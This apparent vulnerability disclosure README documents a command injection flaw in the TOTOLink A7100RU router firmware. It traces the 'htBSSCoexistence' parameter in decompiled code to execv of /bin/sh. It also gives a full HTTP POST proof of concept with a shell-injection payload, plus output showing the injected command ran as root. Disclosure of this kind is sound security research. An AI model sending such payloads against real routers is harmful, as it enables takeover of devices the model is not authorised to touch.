

main IOT_vuln / TOTOLink / A7100RU / 8 /

rencvn and rencvn add a7100ru ...

on Apr 1 History

..

img 8 months ago

readme.md 8 months ago

readme.md

TOTOLink A7100RU Command injection vulnerability

Overview

- Manufacturer's website information: <http://totolink.net/>
- Firmware download address :
http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html

1. Affected version





A7100RU				
Overview Tech Specs HD Image Download FAQ				
NO	Name	Version	Updated	Download
1	A7100RU_HD PHOTO	Ver1.0	2019-05-07	
2	A7100RU_Datasheet	Ver1.0	2020-08-07	
3	A7100RU_Firmware	V7.4cu.2313_B20191024	2020-08-09	
4	A7100RU_QIG	Ver1.0	2020-08-09	

Figure 1 shows the latest firmware Ba of the router

2.Vulnerability details

```

32 {
33     v15 = websGetVar(a1, "htBSSCoexistence", "");
34     Uci_Set_Str(17, "mt7615e2", "ht_bsscoexist", v15);
35     v4 = "mt7615e2";
36     v17 = "ra0";
37 }
38 v5 = websGetVar(a1, "hgProtection", "");

```

The program passes the content obtained by htbsscoexistence parameter to V15, and then brings V15 to UCI_Set_In str function

```

184     else
185         v9 = "Unknown ID";
186     break;
187 }
188 sprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);
189 CsteSystem(v11, 0);
190 return 1;
191}

```

Format the A4 matched content into V11 through sprintf function, and then bring V11 into cstesystem function

```

7      {
8          v6[2] = (int)a1;
9          v6[3] = 0;
10         v6[0] = (int)&off_ABA4;
11         v6[1] = (int)&off_ABA8;
12         if ( a2 )
13             printf("[system]: %s\r\n", a1);
14         execv("/bin/sh", v6);
15         exit(127);
16         result = eval();
17     }

```

The function directly brings user input into the `execv` function, which has a command injection vulnerability

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V7.4cu.2313_B20191024
2. Attack with the following overflow POC attacks

```

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close

{"topicurl":"setting/setWiFiWpsStart",
"htBSSCoexistence":"1${ls>/tmp/123;)}"}

```

The reproduction results are as follows:

```
RLX Linux version 2.0

RLX Linux

For further information check:
http://processor.realtek.com/
[# cat /tmp/123
123
bridge_init
dns_urlfilter_conf
firewall_igd
fwinfo
lock
log
port_status
preNtpConnectTime
update_flag
usb
wanlink
wanranchocontime
wscd_status
#
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

